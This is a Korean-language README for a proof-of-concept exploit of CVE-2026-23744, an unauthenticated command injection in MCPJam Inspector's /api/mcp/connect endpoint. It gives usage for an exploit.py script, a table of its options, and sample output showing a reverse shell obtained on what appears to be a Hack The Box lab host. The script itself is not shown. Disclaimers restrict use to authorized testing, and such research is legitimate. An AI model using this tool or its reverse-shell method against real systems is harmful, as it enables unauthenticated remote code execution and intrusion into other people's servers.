
CVE-2026-23744는 /api/mcp/connect를 통한 MCPJam Inspector ≤1.4.2의 인증되지 않은 명령 주입 취약점입니다. 이 POC는 조작된 JSON 페이로드를 전송하여 임의의 명령을 실행하고 PTY가 포함된 리버스 셸을 획득함으로써 이 취약점을 악용합니다.
이 개념 증명은 오직 승인된 보안 연구, 교육 목적, 그리고 통제된 실험실 환경(예: HTB, CTF 또는 명시적 서면 동의를 받은 내부 침투 테스트)에서만 사용하도록 제공됩니다. 허가 없이 어떤 시스템을 대상으로 한 무단 사용은 불법이며 비윤리적입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다. 사용자는 모든 해당 법률 및 규정을 준수할 전적인 책임이 있습니다.
CVE-2026-23744는 MCPJam Inspector(버전 ≤ 1.4.2)의 인증되지 않은 명령 주입 취약점입니다.
/api/mcp/connect 엔드포인트는 serverConfig.command 및 serverConfig.args가 포함된 JSON 페이로드를 받아들이고, 이를 아무런 입력값 검증 없이 시스템 프로세스 생성에 직접 전달합니다. 공격자는 악의적으로 조작된 요청을 전송하여 임의의 시스템 명령을 실행할 수 있으며, 서비스 사용자의 권한으로 리버스 셸을 획득할 수 있습니다.
이 저장소에는 선택적인 자동 PTY 기반 대화형 리스너(기본적으로 활성화됨)가 포함된 완전히 동작하는 익스플로잇 스크립트가 포함되어 있습니다.
requests 라이브러리(pip install requests)중요: 호스트 이름 또는 IP만 입력하세요. 스크립트가 http:// 또는 https://를 자동으로 추가합니다.
python3 exploit.py -t <target> -l <your_ip> [-r <port>] [--ssl] [--check-only]
| 옵션 | 설명 |
|---|---|
-t, --target | 대상 호스트 이름 또는 IP(필수) |
-p, --port | 대상 포트(기본값: 6274) |
-l, --lhost | 리버스 셸 연결용 본인 IP(필수) |
-r, --lport | 리스너 포트(기본값: 4444) |
--ssl | HTTP 대신 HTTPS 사용 |
--check-only | 취약점만 확인하고 셸을 전송하지 않음 |
스크립트가 자체 리스너를 시작하고 터미널에서 직접 셸을 제공합니다.
python3 exploit.py -t <example_hostname> -l <your_IP> -r <Listener_Port>
$ python3 exploit.py -t devhub.htb -l 10.10.14.111 -r 4444
[*] Target URL: http://devhub.htb:6274/api/mcp/connect
[*] Checking target...
[+] Target responded with 400 – appears vulnerable
[*] Sending exploit payload...
[+] ReadTimeout – shell likely spawned!
[*] Payload sent. Check your listener!
# On your listener:
connect to [10.10.14.111] from (UNKNOWN) [10.129.245.216] 54150
mcp-dev@devhub:/opt/mcpjam$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
root로 실행하지 마세요.이 저장소는 교육 및 승인된 테스트 목적으로만 제공됩니다. 사용에 따른 책임은 본인에게 있습니다.
작성자: Mluex0 날짜: 2026년 8월